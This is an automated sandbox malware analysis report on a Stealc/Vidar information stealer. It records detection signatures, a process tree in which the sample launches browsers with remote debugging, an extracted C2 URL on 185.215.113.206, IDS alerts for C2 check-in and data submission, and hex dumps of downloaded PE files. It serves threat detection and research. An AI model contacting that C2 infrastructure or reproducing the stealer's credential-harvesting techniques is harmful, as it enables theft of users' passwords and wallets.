Edit tour

Windows Analysis Report
file.exe

Overview

General Information

Sample name:	file.exe
Analysis ID:	1544763
MD5:	105c8a7e9d2a376932bbac2a96952e8a
SHA1:	f479a80f8ad29f0339a6e2e5fd3a764d4bdcdf50
SHA256:	cd297aefd6cdf69e41926145a0e80e76e5c5c4b9d1922cace8955337a227cfa5
Tags:	exeuser-Bitsight
Infos:

Detection

Stealc, Vidar

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Detected unpacking (changes PE section rights)

Found malware configuration

Suricata IDS alerts for network traffic

Yara detected Powershell download and execute

Yara detected Stealc

Yara detected Vidar stealer

AI detected suspicious sample

C2 URLs / IPs found in malware configuration

Found many strings related to Crypto-Wallets (likely being stolen)

Hides threads from debuggers

Machine Learning detection for sample

Maps a DLL or memory area into another process

Monitors registry run keys for changes

PE file contains section with special chars

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Tries to detect sandboxes and other dynamic analysis tools (window names)

Tries to detect virtualization through RDTSC time measurements

Tries to evade debugger and weak emulator (self modifying code)

Tries to harvest and steal Bitcoin Wallet information

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Crypto Currency Wallets

Tries to steal Mail credentials (via file / registry access)

Checks for debuggers (devices)

Checks if the current process is being debugged

Contains capabilities to detect virtual machines

Contains functionality to call native functions

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to dynamically determine API calls

Contains functionality to query CPU information (cpuid)

Detected potential crypto function

Downloads executable code via HTTP

Drops PE files

Drops PE files to the application program directory (C:\ProgramData)

Entry point lies outside standard sections

Extensive use of GetProcAddress (often used to hide API calls)

Found dropped PE file which has not been started or loaded

Found large amount of non-executed APIs

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

PE file contains an invalid checksum

PE file contains sections with non-standard names

Queries information about the installed CPU (vendor, model number etc)

Queries the volume information (name, serial number etc) of a device

Sample file is different than original file name gathered from version info

Sigma detected: Browser Started with Remote Debugging

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses code obfuscation techniques (call, push, ret)

Yara detected Credential Stealer

Classification

Process Tree

System is w10x64

file.exe (PID: 5924 cmdline: "C:\Users\user\Desktop\file.exe" MD5: 105C8A7E9D2A376932BBAC2A96952E8A)

chrome.exe (PID: 5280 cmdline: "C:\\Program Files\\Google\\Chrome\\Application\\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default" MD5: 5BBFA6CBDF4C254EB368D534F9E23C92)

chrome.exe (PID: 364 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2400 --field-trial-handle=2212,i,17521321989125711666,7412979055019799333,262144 /prefetch:8 MD5: 5BBFA6CBDF4C254EB368D534F9E23C92)

msedge.exe (PID: 7532 cmdline: "C:\\Program Files (x86)\\Microsoft\\Edge\\Application\\msedge.exe" --remote-debugging-port=9229 --profile-directory="Default" MD5: BF154738460E4AB1D388970E1AB13FAB)

msedge.exe (PID: 7768 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2796 --field-trial-handle=2320,i,15118049081942397489,15205487494085230485,262144 /prefetch:3 MD5: BF154738460E4AB1D388970E1AB13FAB)

msedge.exe (PID: 7780 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory=Default --flag-switches-begin --flag-switches-end --disable-nacl --do-not-de-elevate MD5: BF154738460E4AB1D388970E1AB13FAB)

msedge.exe (PID: 8136 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2772 --field-trial-handle=2208,i,2038679318912757788,6254700401294016102,262144 /prefetch:3 MD5: BF154738460E4AB1D388970E1AB13FAB)

msedge.exe (PID: 5552 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-GB --service-sandbox-type=asset_store_service --mojo-platform-channel-handle=6692 --field-trial-handle=2208,i,2038679318912757788,6254700401294016102,262144 /prefetch:8 MD5: BF154738460E4AB1D388970E1AB13FAB)

msedge.exe (PID: 6920 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-GB --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --mojo-platform-channel-handle=6848 --field-trial-handle=2208,i,2038679318912757788,6254700401294016102,262144 /prefetch:8 MD5: BF154738460E4AB1D388970E1AB13FAB)

identity_helper.exe (PID: 8488 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=7412 --field-trial-handle=2208,i,2038679318912757788,6254700401294016102,262144 /prefetch:8 MD5: F8CEC3E43A6305AC9BA3700131594306)

identity_helper.exe (PID: 8500 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=7412 --field-trial-handle=2208,i,2038679318912757788,6254700401294016102,262144 /prefetch:8 MD5: F8CEC3E43A6305AC9BA3700131594306)

msedge.exe (PID: 8320 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-GB --service-sandbox-type=search_indexer --message-loop-type-ui --mojo-platform-channel-handle=6980 --field-trial-handle=2208,i,2038679318912757788,6254700401294016102,262144 /prefetch:8 MD5: BF154738460E4AB1D388970E1AB13FAB)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Stealc	Stealc is an information stealer advertised by its presumed developer Plymouth on Russian-speaking underground forums and sold as a Malware-as-a-Service since January 9, 2023. According to Plymouth's statement, stealc is a non-resident stealer with flexible data collection settings and its development is relied on other prominent stealers: Vidar, Raccoon, Mars and Redline.Stealc is written in C and uses WinAPI functions. It mainly targets date from web browsers, extensions and Desktop application of cryptocurrency wallets, and from other applications (messengers, email clients, etc.). The malware downloads 7 legitimate third-party DLLs to collect sensitive data from web browsers, including sqlite3.dll, nss3.dll, vcruntime140.dll, mozglue.dll, freebl3.dll, softokn3.dll and msvcp140.dll. It then exfiltrates the collected information file by file to its C2 server using HTTP POST requests.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-1/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-2/ https://cocomelonc.github.io/book/2023/12/13/malwild-book.html https://g0njxa.medium.com/approaching-stealers-devs-a-brief-interview-with-stealc-cbe5c94b84af	https://malpedia.caad.fkie.fraunhofer.de/details/win.stealc

Name	Description	Attribution	Blogpost URLs	Link
Vidar	Vidar is a forked malware based on Arkei. It seems this stealer is one of the first that is grabbing information on 2FA Software and Tor Browser.	No Attribution	https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-1-(-Unpacking-)/ https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-2/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/vidar-stealer-h-and-m-campaign https://0xtoxin.github.io/malware%20analysis/Vidar-Stealer-Campaign/ https://asec.ahnlab.com/en/22932/	https://malpedia.caad.fkie.fraunhofer.de/details/win.vidar

Malware Configuration

Threatname: StealC

{"C2 url": "http://185.215.113.206/6c4adf523b719729.php", "Botnet": "tale"}

Threatname: Vidar

{"C2 url": "http://185.215.113.206/6c4adf523b719729.php", "Botnet": "tale"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
dump.pcap	JoeSecurity_Stealc_1	Yara detected Stealc	Joe Security

Memory Dumps

Source	Rule	Description	Author
00000000.00000002.2732215385.0000000000F71000.00000040.00000001.01000000.00000003.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000000.00000003.2222130039.0000000004C30000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000000.00000002.2731453569.0000000000817000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000002.2731453569.000000000079E000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Process Memory Space: file.exe PID: 5924	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
Process Memory Space: file.exe PID: 5924	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: file.exe PID: 5924	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: file.exe PID: 5924	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Click to see the 3 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
0.2.file.exe.f70000.0.unpack	JoeSecurity_Stealc	Yara detected Stealc	Joe Security

Sigma Signatures

System Summary

Sigma detected: Browser Started with Remote Debugging

Source: Process started

Author: pH-T (Nextron Systems), Nasreddine Bencherchali (Nextron Systems): Data: Command: "C:\\Program Files\\Google\\Chrome\\Application\\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default", CommandLine: "C:\\Program Files\\Google\\Chrome\\Application\\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default", CommandLine|base64offset|contains: ^", Image: C:\Program Files\Google\Chrome\Application\chrome.exe, NewProcessName: C:\Program Files\Google\Chrome\Application\chrome.exe, OriginalFileName: C:\Program Files\Google\Chrome\Application\chrome.exe, ParentCommandLine: "C:\Users\user\Desktop\file.exe", ParentImage: C:\Users\user\Desktop\file.exe, ParentProcessId: 5924, ParentProcessName: file.exe, ProcessCommandLine: "C:\\Program Files\\Google\\Chrome\\Application\\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default", ProcessId: 5280, ProcessName: chrome.exe

Suricata Signatures

ET MALWARE Win32/Stealc Active C2 Responding with browsers Config

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-29T17:59:12.603819+0100	2044245	1	Malware Command and Control Activity Detected	185.215.113.206	80	192.168.2.6	49722	TCP

ET MALWARE Win32/Stealc Requesting browsers Config from C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-29T17:59:12.585033+0100	2044244	1	Malware Command and Control Activity Detected	192.168.2.6	49722	185.215.113.206	80	TCP

ET MALWARE Win32/Stealc Requesting plugins Config from C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-29T17:59:12.883075+0100	2044246	1	Malware Command and Control Activity Detected	192.168.2.6	49722	185.215.113.206	80	TCP

ET MALWARE Win32/Stealc Submitting System Information to C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-29T17:59:13.981613+0100	2044248	1	Malware Command and Control Activity Detected	192.168.2.6	49722	185.215.113.206	80	TCP

ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-29T17:59:12.890636+0100	2044247	1	Malware Command and Control Activity Detected	185.215.113.206	80	192.168.2.6	49722	TCP

ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-29T17:59:12.277038+0100	2044243	1	Malware Command and Control Activity Detected	192.168.2.6	49722	185.215.113.206	80	TCP

ETPRO MALWARE Common Downloader Header Pattern HCa

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-29T17:59:14.575682+0100	2803304	3	Unknown Traffic	192.168.2.6	49722	185.215.113.206	80	TCP
2024-10-29T17:59:44.981527+0100	2803304	3	Unknown Traffic	192.168.2.6	49958	185.215.113.206	80	TCP
2024-10-29T17:59:48.533910+0100	2803304	3	Unknown Traffic	192.168.2.6	49958	185.215.113.206	80	TCP
2024-10-29T17:59:50.319125+0100	2803304	3	Unknown Traffic	192.168.2.6	49958	185.215.113.206	80	TCP
2024-10-29T17:59:51.386982+0100	2803304	3	Unknown Traffic	192.168.2.6	49958	185.215.113.206	80	TCP
2024-10-29T17:59:54.623993+0100	2803304	3	Unknown Traffic	192.168.2.6	49958	185.215.113.206	80	TCP
2024-10-29T17:59:55.238817+0100	2803304	3	Unknown Traffic	192.168.2.6	49958	185.215.113.206	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: file.exe

Avira: detected

Found malware configuration

Source: 0.2.file.exe.f70000.0.unpack	Malware Configuration Extractor: StealC {"C2 url": "http://185.215.113.206/6c4adf523b719729.php", "Botnet": "tale"}
Source: 0.2.file.exe.f70000.0.unpack	Malware Configuration Extractor: Vidar {"C2 url": "http://185.215.113.206/6c4adf523b719729.php", "Botnet": "tale"}

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for sample

Source: file.exe

Joe Sandbox ML: detected

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C9F6C80 CryptQueryObject,CryptMsgGetParam,moz_xmalloc,memset,CryptMsgGetParam,CertFindCertificateInStore,free,CertGetNameStringW,moz_xmalloc,memset,CertGetNameStringW,CertFreeCertificateContext,CryptMsgClose,CertCloseStore,CreateFileW,moz_xmalloc,memset,memset,CryptQueryObject,free,CloseHandle,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,memset,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerifyVersionInfoW,moz_xmalloc,memset,GetLastError,moz_xmalloc,memset,CryptBinaryToStringW,_wcsupr_s,free,GetLastError,memset,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerifyVersionInfoW,__Init_thread_footer,__Init_thread_footer,

0_2_6C9F6C80

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: unknown	HTTPS traffic detected: 40.113.103.199:443 -> 192.168.2.6:49709 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.45:443 -> 192.168.2.6:49710 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.45:443 -> 192.168.2.6:49715 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.113.110.67:443 -> 192.168.2.6:49716 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 4.245.163.56:443 -> 192.168.2.6:49763 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.6:49815 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.113.110.67:443 -> 192.168.2.6:49810 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.6:49824 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.113.110.67:443 -> 192.168.2.6:49941 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 4.245.163.56:443 -> 192.168.2.6:50101 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.113.110.67:443 -> 192.168.2.6:50102 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.113.110.67:443 -> 192.168.2.6:50109 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.113.110.67:443 -> 192.168.2.6:50117 version: TLS 1.2

Source:	Binary string: mozglue.pdbP source: file.exe, 00000000.00000002.2755907922.000000006CA5D000.00000002.00000001.01000000.00000014.sdmp, mozglue[1].dll.0.dr
Source:	Binary string: freebl3.pdb source: freebl3[1].dll.0.dr, freebl3.dll.0.dr
Source:	Binary string: freebl3.pdbp source: freebl3[1].dll.0.dr, freebl3.dll.0.dr
Source:	Binary string: nss3.pdb@ source: file.exe, 00000000.00000002.2756254145.000000006CC1F000.00000002.00000001.01000000.00000013.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr
Source:	Binary string: my_library.pdbU source: file.exe, 00000000.00000002.2732215385.0000000000F9C000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000002.2756494293.000000006CCE1000.00000002.00000001.01000000.00000007.sdmp, file.exe, 00000000.00000003.2222130039.0000000004C5B000.00000004.00001000.00020000.00000000.sdmp, chrome.dll.0.dr
Source:	Binary string: my_library.pdb source: file.exe, file.exe, 00000000.00000002.2732215385.0000000000F9C000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000002.2756494293.000000006CCE1000.00000002.00000001.01000000.00000007.sdmp, file.exe, 00000000.00000003.2222130039.0000000004C5B000.00000004.00001000.00020000.00000000.sdmp, chrome.dll.0.dr
Source:	Binary string: softokn3.pdb@ source: softokn3[1].dll.0.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\vcruntime140.i386.pdb source: vcruntime140.dll.0.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\msvcp140.i386.pdb source: msvcp140[1].dll.0.dr, msvcp140.dll.0.dr
Source:	Binary string: nss3.pdb source: file.exe, 00000000.00000002.2756254145.000000006CC1F000.00000002.00000001.01000000.00000013.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr
Source:	Binary string: mozglue.pdb source: file.exe, 00000000.00000002.2755907922.000000006CA5D000.00000002.00000001.01000000.00000014.sdmp, mozglue[1].dll.0.dr
Source:	Binary string: softokn3.pdb source: softokn3[1].dll.0.dr

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\bg\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\	Jump to behavior

Source: chrome.exe

Memory has grown: Private usage: 1MB later: 32MB

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.6:49722 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2044244 - Severity 1 - ET MALWARE Win32/Stealc Requesting browsers Config from C2 : 192.168.2.6:49722 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2044245 - Severity 1 - ET MALWARE Win32/Stealc Active C2 Responding with browsers Config : 185.215.113.206:80 -> 192.168.2.6:49722
Source: Network traffic	Suricata IDS: 2044246 - Severity 1 - ET MALWARE Win32/Stealc Requesting plugins Config from C2 : 192.168.2.6:49722 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2044247 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config : 185.215.113.206:80 -> 192.168.2.6:49722
Source: Network traffic	Suricata IDS: 2044248 - Severity 1 - ET MALWARE Win32/Stealc Submitting System Information to C2 : 192.168.2.6:49722 -> 185.215.113.206:80

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: http://185.215.113.206/6c4adf523b719729.php
Source: Malware configuration extractor	URLs: http://185.215.113.206/6c4adf523b719729.php

Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Tue, 29 Oct 2024 16:59:14 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 11:30:30 GMTETag: "10e436-5e7ec6832a180"Accept-Ranges: bytesContent-Length: 1106998Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 12 00 d7 dd 15 63 00 92 0e 00 bf 13 00 00 e0 00 06 21 0b 01 02 19 00 26 0b 00 00 16 0d 00 00 0a 00 00 00 14 00 00 00 10 00 00 00 40 0b 00 00 00 e0 61 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 30 0f 00 00 06 00 00 1c 3a 11 00 03 00 00 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 d0 0c 00 88 2a 00 00 00 00 0d 00 d0 0c 00 00 00 30 0d 00 a8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 0d 00 18 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 20 0d 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c 02 0d 00 d0 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 84 25 0b 00 00 10 00 00 00 26 0b 00 00 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 00 50 60 2e 64 61 74 61 00 00 00 7c 27 00 00 00 40 0b 00 00 28 00 00 00 2c 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 c0 2e 72 64 61 74 61 00 00 70 44 01 00 00 70 0b 00 00 46 01 00 00 54 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 40 2e 62 73 73 00 00 00 00 28 08 00 00 00 c0 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 60 c0 2e 65 64 61 74 61 00 00 88 2a 00 00 00 d0 0c 00 00 2c 00 00 00 9a 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 40 2e 69 64 61 74 61 00 00 d0 0c 00 00 00 00 0d 00 00 0e 00 00 00 c6 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 43 52 54 00 00 00 00 2c 00 00 00 00 10 0d 00 00 02 00 00 00 d4 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 74 6c 73 00 00 00 00 20 00 00 00 00 20 0d 00 00 02 00 00 00 d6 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 72 73 72 63 00 00 00 a8 04 00 00 00 30 0d 00 00 06 00 00 00 d8 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 72 65 6c 6f 63 00 00 18 3c 00 00 00 40 0d 00 00 3e 00 00 00 de 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 42 2f 34 00 00 00 00 00 00 38 05 00 00 00 80 0d 00 00 06 00 00 00 1c 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 40 42 2f 31 39 00 00 00 00 00 52 c8 00 00 00 90 0d 00 00 ca 00 00 00 22 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 33 31 00 00 00 00 00 5d 27 00 00 00 60 0e 00 00 28 00 00 00 ec 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 34 35 00 00 00 00 00 9a 2d 00 00 00 90 0e 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Tue, 29 Oct 2024 16:59:44 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "a7550-5e7e950876500"Accept-Ranges: bytesContent-Length: 685392Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 0e 08 00 00 34 02 00 00 00 00 00 70 12 08 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 d0 0a 00 00 04 00 00 cb fd 0a 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 48 1c 0a 00 53 00 00 00 9b 1c 0a 00 c8 00 00 00 00 90 0a 00 78 03 00 00 00 00 00 00 00 00 00 00 00 46 0a 00 50 2f 00 00 00 a0 0a 00 f0 23 00 00 94 16 0a 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 20 08 00 a0 00 00 00 00 00 00 00 00 00 00 00 a4 1e 0a 00 40 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 95 0c 08 00 00 10 00 00 00 0e 08 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 c4 06 02 00 00 20 08 00 00 08 02 00 00 12 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 3c 46 00 00 00 30 0a 00 00 02 00 00 00 1a 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 80 0a 00 00 02 00 00 00 1c 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 78 03 00 00 00 90 0a 00 00 04 00 00 00 1e 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 f0 23 00 00 00 a0 0a 00 00 24 00 00 00 22 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
